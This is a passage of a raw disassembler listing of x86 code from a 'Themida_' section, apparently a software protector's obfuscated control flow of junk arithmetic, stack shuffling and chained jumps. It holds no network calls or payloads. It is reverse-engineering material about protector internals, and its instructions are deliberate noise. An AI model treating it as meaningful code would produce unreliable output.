mov [esp], esi
push esp
jmp loc_55D48B
; ---------------------------------------------------------------------------
loc_56339D: ; CODE XREF: Themida_:0056F39Ej
or [esp], al
pushf
jmp loc_56B931
; ---------------------------------------------------------------------------
loc_5633A6: ; CODE XREF: Themida_:0056FBD4j
dec edx
or edx, 229F566Ah
and edx, 2AE720AEh
shl edx, 6
sub edx, 0B9C00B7Ch
push edx
mov edi, [esp]
add esp, 4
pop edx
push 7D0Eh
jmp loc_55C283
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_5633D1: ; CODE XREF: sub_56755A+53F0j
shr edx, 6
sub edx, 583F6EC7h
jmp loc_56311B
; ---------------------------------------------------------------------------
loc_5633DF: ; CODE XREF: sub_56755A-79D7j
xor edi, 2F9A3D46h
jmp loc_568191
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56F7FC
loc_5633EA: ; CODE XREF: sub_56F7FC+1j
push eax
jmp loc_56E865
; END OF FUNCTION CHUNK FOR sub_56F7FC
; ---------------------------------------------------------------------------
loc_5633F0: ; CODE XREF: Themida_:00562D1Dj
shl esi, 8
neg esi
dec esi
push ebp
mov ebp, 62AE3C59h
not ebp
jmp loc_56BECC
; ---------------------------------------------------------------------------
loc_563403: ; CODE XREF: Themida_:00564A4Fj
mov esi, 4
jmp loc_5629B3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56340D: ; CODE XREF: sub_56755A+7B89j
pop esi
jmp loc_5697E7
; ---------------------------------------------------------------------------
loc_563413: ; CODE XREF: sub_56755A+7BFCj
pop esp
mov [esp-1Ch+arg_18], ebx
jmp loc_567F5F
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_56341C: ; CODE XREF: Themida_:0056C62Ej
and ebp, 2C4B32B6h
shr ebp, 7
not ebp
push edi
mov edi, 3AF43633h
xor ebp, edi
pop edi
push edi
jmp loc_56673E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_563436: ; CODE XREF: sub_56755A+B64j
add eax, 5CB62515h
jmp loc_56BCBF
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55F861
loc_563440: ; CODE XREF: sub_55F861+25ECj
pop ebx
add ebx, ecx
pop ecx
jmp loc_55B9A7
; END OF FUNCTION CHUNK FOR sub_55F861
; ---------------------------------------------------------------------------
loc_563449: ; CODE XREF: Themida_:0056BC41j
mov [esp], edx
mov edx, esp
sub esp, 4
mov [esp], eax
push ebp
mov ebp, 4
jmp loc_56CF8E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55E99C
loc_56345F: ; CODE XREF: sub_55E99C+9E46j
xor edi, 47B259E6h
sub edi, 22867E09h
or ebp, edi
pop edi
neg ebp
xor ebp, 0D064D978h
jmp loc_55D03F
; END OF FUNCTION CHUNK FOR sub_55E99C
; ---------------------------------------------------------------------------
loc_56347B: ; CODE XREF: Themida_:0055FCCAj
push 5538h
mov [esp], ecx
push 5EE20A5Fh
mov ecx, [esp]
add esp, 4
shr ecx, 8
sub ecx, 0EE73D718h
sub esp, 4
mov [esp], ecx
sub dword ptr [esp], 7A3551EBh
jmp loc_5623EC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_560CAA
loc_5634AC: ; CODE XREF: sub_560CAA+435Ej
push ecx
push [esp+8+var_4]
pop ecx
pop [esp+8+var_8]
pop esp
mov [esp+0], edx
push eax
pushf
jmp loc_5647CB
; END OF FUNCTION CHUNK FOR sub_560CAA
; ---------------------------------------------------------------------------
loc_5634C0: ; CODE XREF: Themida_:0055F4E3j
push ebx
jmp loc_55F8DA
; ---------------------------------------------------------------------------
push 3E03h
mov [esp], eax
mov eax, [esp]
push esi
jmp loc_561B8C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_5634D7: ; CODE XREF: sub_56755A+199Dj
mov esp, [esp-1Ch+arg_18]
add esp, 4
jmp loc_568D7F
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56E55E
loc_5634E2: ; CODE XREF: sub_56E55E-F054j
add esp, 4
and eax, ecx
push [esp+8+var_8]
mov ecx, [esp+0Ch+var_C]
add esp, 4
push ebp
mov ebp, esp
sub esp, 4
mov [esp+10h+var_10], ecx
mov ecx, 4C176808h
and ecx, 0D8B2748h
inc ecx
add ecx, 0F3FCDFFBh
sub ebp, 31FD7721h
add ebp, ecx
add ebp, 31FD7721h
pop ecx
add ebp, 4
jmp sub_55BA18
; END OF FUNCTION CHUNK FOR sub_56E55E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_563525: ; CODE XREF: sub_56755A+825Ej
shr dh, 4
add dh, 0DDh
jmp loc_55D3A2
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_563530: ; CODE XREF: Themida_:0056F7C3j
xor [esp], edx
xor edx, [esp]
jmp loc_560FDD
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56353B: ; CODE XREF: sub_56755A+6E24j
pop ecx
jmp loc_55CB22
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55CD7B
loc_563541: ; CODE XREF: sub_55CD7B+E868j
push edi
mov edi, 0AD11746h
not edi
add edi, 44CF03F4h
jmp loc_56C958
; END OF FUNCTION CHUNK FOR sub_55CD7B
; ---------------------------------------------------------------------------
mov ax, [esp]
jmp loc_55EAD3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56355D: ; CODE XREF: sub_56755A+7B9j
add ebx, ebp
add ebx, 0AB16CBFh
mov ebp, [esp-24h+arg_20]
add esp, 4
sub esp, 4
mov [esp-24h+arg_20], edi
jmp loc_56BB4B
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_56357C: ; CODE XREF: Themida_:0056CDB5j
add esi, 7B682427h
mov ebp, [esp]
add esp, 4
push 0C82h
mov [esp], esi
jmp loc_56DFEB
; ---------------------------------------------------------------------------
loc_563595: ; CODE XREF: Themida_:0055F67Aj
shr ebp, 2
sub ebp, 0B52FFC2Fh
add edx, ebp
mov ebp, [esp]
add esp, 4
push ebx
mov ebx, 86958FAh
add ebx, 0C462C729h
jmp loc_56690E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_5635BA: ; CODE XREF: sub_56755A+150j
pop esi
add ebx, ecx
push [esp-28h+arg_24]
jmp loc_55DEF1
; ---------------------------------------------------------------------------
loc_5635C5: ; CODE XREF: sub_56755A-5756j
add esp, 4
jmp loc_55FF22
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55CD7B
loc_5635CD: ; CODE XREF: sub_55CD7B+FBE7j
push [esp+0Ch+var_8]
jmp loc_56F1CC
; END OF FUNCTION CHUNK FOR sub_55CD7B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_5635D6: ; CODE XREF: sub_56755A-3CCAj
mov esp, [esp+4+var_4]
jmp loc_568A5B
; END OF FUNCTION CHUNK FOR sub_56755A
; =============== S U B R O U T I N E =======================================
sub_5635DE proc near ; CODE XREF: sub_56755A+DCAj
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
; FUNCTION CHUNK AT 0055CD67 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0055D151 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0055F708 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0055FC77 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00560446 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00560842 SIZE 00000028 BYTES
; FUNCTION CHUNK AT 0056288C SIZE 00000030 BYTES
; FUNCTION CHUNK AT 005638F4 SIZE 00000031 BYTES
; FUNCTION CHUNK AT 0056398F SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00565336 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00566D7C SIZE 00000019 BYTES
; FUNCTION CHUNK AT 005686C7 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00568D8D SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00569763 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0056991B SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0056CF0D SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0056D61F SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0056F7C8 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0056F7EB SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0056F825 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00570200 SIZE 00000018 BYTES
sub esp, 4
mov [esp+8+var_8], ecx
push eax
mov eax, ebx
mov ecx, eax
pop eax
mov ebp, ecx
mov ecx, [esp+8+var_8]
add esp, 4
pop ebx
xor [esp+arg_0], ebp
mov ebp, [esp+0]
add esp, 4
mov edx, [esp-4+arg_0]
add esp, 4
push 58D8h
mov [esp-4+arg_0], ebx
jmp loc_56288C
sub_5635DE endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_563616 proc near ; CODE XREF: sub_56755A+2437j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
; FUNCTION CHUNK AT 0055C468 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0055C9E7 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0055DB83 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0055E4AA SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0055F379 SIZE 00000045 BYTES
; FUNCTION CHUNK AT 00568ACF SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005692F9 SIZE 00000008 BYTES
sub esp, 4
mov [esp+4+var_4], edi
push ebx
jmp loc_55F379
sub_563616 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_570668
loc_563622: ; CODE XREF: sub_570668-13CABj
xchg ebx, edi
inc ebx
jmp loc_5680EC
; END OF FUNCTION CHUNK FOR sub_570668
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56362A: ; CODE XREF: sub_56755A+5C50j
pop esp
add bx, 3FFCh
sub bx, 96Fh
push esi
jmp loc_56E27C
; ---------------------------------------------------------------------------
loc_56363B: ; CODE XREF: sub_56755A+4D3Cj
add ebx, 15410257h
sub ebx, 5F20B0C0h
add edx, ebx
jmp loc_56D404
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56971C
loc_56364E: ; CODE XREF: sub_56971C-D553j
push eax
mov eax, 11E4245Eh
and eax, 7B7D6389h
shl eax, 1
jmp loc_570150
; END OF FUNCTION CHUNK FOR sub_56971C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_563660: ; CODE XREF: sub_56755A+7F7j
push 67CEh
jmp loc_5665DE
; ---------------------------------------------------------------------------
loc_56366A: ; CODE XREF: sub_56755A+1D5Fj
xchg ebp, [esp+8+var_8]
pop ebx
push eax
jmp sub_55EC76
; ---------------------------------------------------------------------------
loc_563674: ; CODE XREF: sub_56755A-B687j
mov edx, 71090D74h
push ecx
mov ecx, 2E10701Bh
add edx, ecx
pop ecx
sub edx, ebx
sub edx, 2E10701Bh
push [esp+0Ah+var_C+2]
pop ebx
add esp, 4
jmp sub_563973
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5600E2
loc_563699: ; CODE XREF: sub_5600E2+20j
mov ebp, [esp+8+var_8]
jmp loc_567392
; END OF FUNCTION CHUNK FOR sub_5600E2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55FE13
loc_5636A1: ; CODE XREF: sub_55FE13+3E3Ej
push eax
mov al, dl
jmp loc_55E9EE
; END OF FUNCTION CHUNK FOR sub_55FE13
; =============== S U B R O U T I N E =======================================
sub_5636A9 proc near ; CODE XREF: sub_56755A-BF1Cj
var_8 = dword ptr -8
var_4 = dword ptr -4
; FUNCTION CHUNK AT 0055C7E2 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0055CD03 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0055FE9F SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005655A7 SIZE 00000025 BYTES
; FUNCTION CHUNK AT 00568435 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00568E63 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0056C547 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0056CB35 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0056E95B SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0056EF35 SIZE 00000003 BYTES
; FUNCTION CHUNK AT 0056F55D SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005702C5 SIZE 00000018 BYTES
push ebx
jmp loc_56C547
sub_5636A9 endp
; ---------------------------------------------------------------------------
loc_5636AF: ; CODE XREF: Themida_:00569AB1j
and edx, 4ABB5FEDh
and edx, 334A20B1h
shr edx, 3
jmp loc_565B87
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56532B
loc_5636C3: ; CODE XREF: sub_56532B+6j
mov esi, ebp
jmp loc_55EFBC
; END OF FUNCTION CHUNK FOR sub_56532B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_5636CA: ; CODE XREF: sub_56755A-2FB1j
shr ebx, 3
add ebx, 59D72871h
jmp loc_569DA2
; ---------------------------------------------------------------------------
loc_5636D8: ; CODE XREF: sub_56755A+C9Bj
shl esi, 8
push ecx
mov ecx, 0E5FE9302h
jmp loc_5601E2
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_5636E6: ; CODE XREF: Themida_:0056F7B2j
pop ecx
add edx, ebx
pop ebx
jmp loc_569D7D
; ---------------------------------------------------------------------------
loc_5636EF: ; CODE XREF: Themida_:00565518j
push edx
mov edx, esp
jmp loc_5656E2
; ---------------------------------------------------------------------------
loc_5636F7: ; CODE XREF: Themida_:0056AE5Fj
push small 6B01h
mov [esp], ax
jmp loc_55B555
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_561C3A
loc_563704: ; CODE XREF: sub_561C3A+2Cj
pop ebx
pop eax
add esi, edi
add esi, 55BB2418h
push edi
jmp loc_56691B
; END OF FUNCTION CHUNK FOR sub_561C3A
; ---------------------------------------------------------------------------
loc_563714: ; CODE XREF: Themida_:00560B43j
push cx
pushf
jmp loc_55B555
; ---------------------------------------------------------------------------
loc_56371C: ; CODE XREF: Themida_:0056FE39j
mov ebx, esp
add ebx, 4
sub ebx, 4
xchg ebx, [esp]
pop esp
jmp loc_5627EE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56B444
loc_563733: ; CODE XREF: sub_56B444+Fj
sub bl, al
add bl, 35h
push small 663Dh
mov word ptr [esp+2+var_4+2], cx
sub esp, 4
mov [esp+6+var_8+2], edx
mov dh, 0CCh
push bx
mov bl, 0D0h
jmp loc_567B86
; END OF FUNCTION CHUNK FOR sub_56B444
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_563754: ; CODE XREF: sub_56755A+B94j
push edx
mov edx, 381C1FB9h
add edi, edx
pop edx
and ecx, edi
mov edi, [esp+0Ah+var_C+2]
push ebp
mov ebp, esp
jmp loc_568340
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5B3505
loc_56376A: ; CODE XREF: sub_5B3505-57F9Bj
mov [esp+2Ch+var_2E+2], eax
mov al, 0CDh
xor al, 4Fh
jmp loc_55BC03
; END OF FUNCTION CHUNK FOR sub_5B3505
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5687A9
loc_563776: ; CODE XREF: sub_5687A9-4D8Ej
pop ebx
mov edi, [esp+0]
add esp, 4
add ebx, edi
push ecx
jmp sub_55FFC1
; END OF FUNCTION CHUNK FOR sub_5687A9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_563788: ; CODE XREF: sub_56755A+6C7Fj
push 0B11h
mov [esp+12h+var_14+2], edi
push [esp+12h+var_10+2]
mov edi, [esp+16h+var_18+2]
add esp, 4
pop [esp+12h+var_14+2]
mov esp, [esp+0Eh+var_10+2]
push 381Fh
mov [esp+12h+var_14+2], eax
push ebp
pop eax
pop ebp
push ebx
jmp loc_561161
; ---------------------------------------------------------------------------
loc_5637B4: ; CODE XREF: sub_56755A+808j
mov esp, [esp+12h+var_14+2]
xchg ecx, [esp+12h+var_14+2]
jmp loc_568D56
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_5637BF: ; CODE XREF: Themida_:005622AEj
xor edi, ebp
jmp loc_568070
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56CB7D
loc_5637C6: ; CODE XREF: sub_56CB7D-7AB7j
push edx
not [esp+14h+var_14]
push [esp+14h+var_14]
pop edx
jmp loc_56A321
; ---------------------------------------------------------------------------
loc_5637D3: ; CODE XREF: sub_56CB7D-4243j
shr eax, 12h
jmp loc_55CC81
; END OF FUNCTION CHUNK FOR sub_56CB7D
; =============== S U B R O U T I N E =======================================
sub_5637DB proc near ; CODE XREF: sub_568EFC+6C38j
; FUNCTION CHUNK AT 0055F4BA SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005627D2 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005661ED SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00569686 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0056DFF4 SIZE 00000017 BYTES
push ebp
push eax
pop ebp
pop eax
inc eax
xchg eax, ebp
neg ebp
not ebp
jmp loc_56DFF4
sub_5637DB endp ; sp-analysis failed
; ---------------------------------------------------------------------------
loc_5637EA: ; CODE XREF: Themida_:0055DAFFj
push edx
mov edx, 34A0A4Eh
xor edx, 78CD556Fh
neg edx
add edx, 1
jmp loc_55C848
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_563803: ; CODE XREF: sub_56755A-27C3j
push [esp+12h+var_14+2]
pop edi
push 6941h
mov [esp+16h+var_18+2], ebp
push esp
pop ebp
add ebp, 4
add ebp, 4
jmp sub_56E1F0
; ---------------------------------------------------------------------------
loc_56381F: ; CODE XREF: sub_56755A+4C9j
mov edx, 20030B4Ch
push ebx
push ebp
mov ebp, 2B9F08F1h
shl ebp, 3
shl ebp, 1
jmp loc_561A6C
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_563835: ; CODE XREF: Themida_:0056243Fj
mov esi, 4
add ebp, esi
pop esi
add ebp, 4
push ebp
push dword ptr [esp+4]
jmp loc_5660B4
; ---------------------------------------------------------------------------
loc_56384A: ; CODE XREF: Themida_:0055E449j
inc ebx
push ebp
jmp loc_565990
; ---------------------------------------------------------------------------
loc_563851: ; CODE XREF: Themida_:0055E39Dj
pop ecx
sub ecx, 3E260FE5h
jmp loc_56E76C
; ---------------------------------------------------------------------------
loc_56385D: ; CODE XREF: Themida_:00562E88j
mov edx, esp
add edx, 4
sub edx, 4
xchg edx, [esp]
pop esp
jmp loc_55ED60
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_563871: ; CODE XREF: sub_56755A+6D1j
shl al, 7
jmp loc_56BFB0
; ---------------------------------------------------------------------------
loc_563879: ; CODE XREF: sub_56755A+7DF7j
mov edx, ebx
pop ebx
add ebp, edx
mov edx, [esp+1Ah+var_1C+2]
add esp, 4
xor ebp, [esp+16h+var_18+2]
xor [esp+16h+var_18+2], ebp
xor ebp, [esp+16h+var_18+2]
jmp loc_5635D6
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_563973
loc_563895: ; CODE XREF: sub_563973+20DCj
pop ecx
jmp loc_566AD6
; END OF FUNCTION CHUNK FOR sub_563973
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56389B: ; CODE XREF: sub_56755A+918Aj
jmp loc_55B555
; ---------------------------------------------------------------------------
loc_5638A0: ; CODE XREF: sub_56755A+1B75j
add eax, ebx
add eax, 45F32F76h
pop ebx
xchg eax, [esp+12h+var_14+2]
pop esp
sub [esp+0Eh+var_10+2], eax
pushf
jmp loc_55B555
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55CD7B
loc_5638B5: ; CODE XREF: sub_55CD7B+12BE5j
pop ecx
sub esp, 4
mov [esp+0], ebp
jmp loc_56111F
; END OF FUNCTION CHUNK FOR sub_55CD7B
; ---------------------------------------------------------------------------
loc_5638C1: ; CODE XREF: Themida_:0056870Fj
or esi, 4CBC223Dh
xor esi, 56814A28h
sub eax, esi
pop esi
sub ebx, 32972666h
jmp loc_568F30
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56A468
loc_5638DB: ; CODE XREF: sub_56A468-E795j
xor ebp, ecx
push ecx
push ebx
pop ecx
pop ebx
not ebx
xchg ebx, ecx
jmp loc_56AB12
; END OF FUNCTION CHUNK FOR sub_56A468
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56CD48
loc_5638EA: ; CODE XREF: sub_56CD48-31AFj
push 2931h
jmp loc_56D7D6
; END OF FUNCTION CHUNK FOR sub_56CD48
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5635DE
loc_5638F4: ; CODE XREF: sub_5635DE+9930j
add esp, 4
xor ecx, 0FF2BF4F0h
add edi, ecx
mov ecx, [esp-8+arg_4]
add esp, 4
push edx
mov edx, 0F6932C2h
and edx, 2A510A9Bh
shr edx, 8
xor edx, 0CE974102h
jmp loc_56F7C8
; END OF FUNCTION CHUNK FOR sub_5635DE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_563925: ; CODE XREF: sub_56755A+34C4j
pop eax
push esi
jmp loc_55FD3E
; ---------------------------------------------------------------------------
loc_56392C: ; CODE XREF: sub_56755A-2D46j
pop ebx
push edx
jmp loc_56BBD8
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56E89A
loc_563933: ; CODE XREF: sub_56E89A-EA1Dj
pop ebx
not edx
add edx, 40D8691Ch
mov ebx, edx
pop edx
jmp loc_55D587
; END OF FUNCTION CHUNK FOR sub_56E89A
; ---------------------------------------------------------------------------
loc_563944: ; CODE XREF: Themida_:0056B76Fj
shr ebx, 1
xor ebx, 472867D4h
jmp loc_55D856
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_563951: ; CODE XREF: sub_56755A+8336j
mov eax, edx
pop edx
xor [esp+0Eh+var_C+2], eax
pop eax
pop edi
jmp loc_562E8D
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_56395F: ; CODE XREF: Themida_:0056EA57j
mov eax, [esp]
add esp, 4
jmp loc_567967
; ---------------------------------------------------------------------------
loc_56396D: ; CODE XREF: Themida_:005672A2j
dec edx
jmp loc_5623A8
; =============== S U B R O U T I N E =======================================
sub_563973 proc near ; CODE XREF: sub_56755A-3EC6j
var_8 = dword ptr -8
var_4 = dword ptr -4
; FUNCTION CHUNK AT 0055DBA7 SIZE 0000002D BYTES
; FUNCTION CHUNK AT 0055EDB9 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0055F48A SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00560357 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005618DE SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00561A8B SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00563895 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00564C95 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00565A38 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 00565CFA SIZE 0000002B BYTES
; FUNCTION CHUNK AT 00566AD6 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00566D5C SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005689AC SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0056B6E6 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0056CE72 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0056E1FA SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0056EB9D SIZE 0000001F BYTES
push ebx
mov ebx, 7A8C1DCDh
xor ebx, 6C127A9Dh
jmp loc_566D5C
sub_563973 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_566504
loc_563984: ; CODE XREF: sub_566504-7EB9j
push ecx
mov ecx, 59677425h
jmp loc_56DF7B
; END OF FUNCTION CHUNK FOR sub_566504
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5635DE
loc_56398F: ; CODE XREF: sub_5635DE-3ECDj
xor [esp+8+var_8], ecx
jmp loc_566D7C
; END OF FUNCTION CHUNK FOR sub_5635DE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_563997: ; CODE XREF: sub_56755A-5C37j
mov esi, [esp+1Ah+var_1C+2]
jmp loc_567676
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_56399F: ; CODE XREF: Themida_:0055CEAAj
pop ecx
dec eax
push ecx
push ebp
mov ebp, 2DB00EC9h
shr ebp, 2
neg ebp
dec ebp
inc ebp
xor ebp, 0BE4DAC7Fh
jmp loc_566A90
; ---------------------------------------------------------------------------
loc_5639BA: ; CODE XREF: Themida_:0056D7B5j
or eax, 7C0A1240h
inc eax
not eax
and eax, 24AF22DAh
shr eax, 4
add eax, 7C5C40E0h
add ebp, eax
jmp loc_5705C7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_5639D6: ; CODE XREF: sub_56755A+39C9j
add ebx, 4
jmp loc_56B8AA
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_5639E1: ; CODE XREF: Themida_:0056BCBAj
mov ecx, [esp]
add esp, 4
jmp loc_55EBEF
; ---------------------------------------------------------------------------
loc_5639EC: ; CODE XREF: Themida_:00561BDFj
pop esp
jmp loc_55F260
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_5639F2: ; CODE XREF: sub_56755A+48EFj
add eax, 65A5406Bh
jmp loc_56A4F0
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5687A9
loc_5639FC: ; CODE XREF: sub_5687A9-56CDj
sub ebp, 0F420F68Eh
add edi, ebp
pop ebp
push ebp
mov ebp, 289F3E7Fh
add ebp, 3339493Ah
add ebp, 0C9BB187Eh
xor edi, ebp
pop ebp
push edi
jmp loc_563776
; END OF FUNCTION CHUNK FOR sub_5687A9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55CD7B
loc_563A20: ; CODE XREF: sub_55CD7B+133Bj
push esi
mov esi, 5B857521h
add esi, 1
xor esi, ecx
xor ecx, esi
xor esi, ecx
neg ecx
jmp loc_56EF47
; END OF FUNCTION CHUNK FOR sub_55CD7B
; ---------------------------------------------------------------------------
loc_563A39: ; CODE XREF: Themida_:0056BF70j
sub edx, 4
jmp loc_562663
; =============== S U B R O U T I N E =======================================
sub_563A41 proc near ; CODE XREF: sub_56AA40-6913j
var_4 = dword ptr -4
; FUNCTION CHUNK AT 0055E4E7 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0056A064 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0056B5F5 SIZE 00000009 BYTES
sub esp, 4
mov [esp+4+var_4], eax
mov eax, 0
add eax, ebx
push ecx
mov ecx, 0
add ecx, eax
push ebx
mov ebx, 0
sub ebx, 67CB063Ah
add ebx, ecx
add ebx, 67CB063Ah
jmp loc_56B5F5
sub_563A41 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56971C
loc_563A6F: ; CODE XREF: sub_56971C+2959j
add esp, 4
add esp, 4
shr ecx, 0Bh
push 4CF0h
mov [esp+0Ch+var_C], ebx
mov eax, [esp+0Ch+var_C]
sub esp, 4
mov [esp+10h+var_10], eax
mov eax, esp
add eax, 4
sub eax, 4
xchg eax, [esp+10h+var_10]
pop esp
mov [esp+0Ch+var_C], edi
push esp
pop edi
push ebp
mov ebp, 49B42982h
dec ebp
inc ebp
shl ebp, 6
sub ebp, 6D0A607Ch
sub edi, 6FB34759h
add edi, ebp
add edi, 6FB34759h
pop ebp
sub esp, 4
mov [esp+10h+var_10], ecx
push 224Ah
mov [esp+14h+var_14], ebx
push 44F369AFh
pop ebx
push eax
mov eax, 0C5B4D96h
sub eax, 3E09457Fh
push ebx
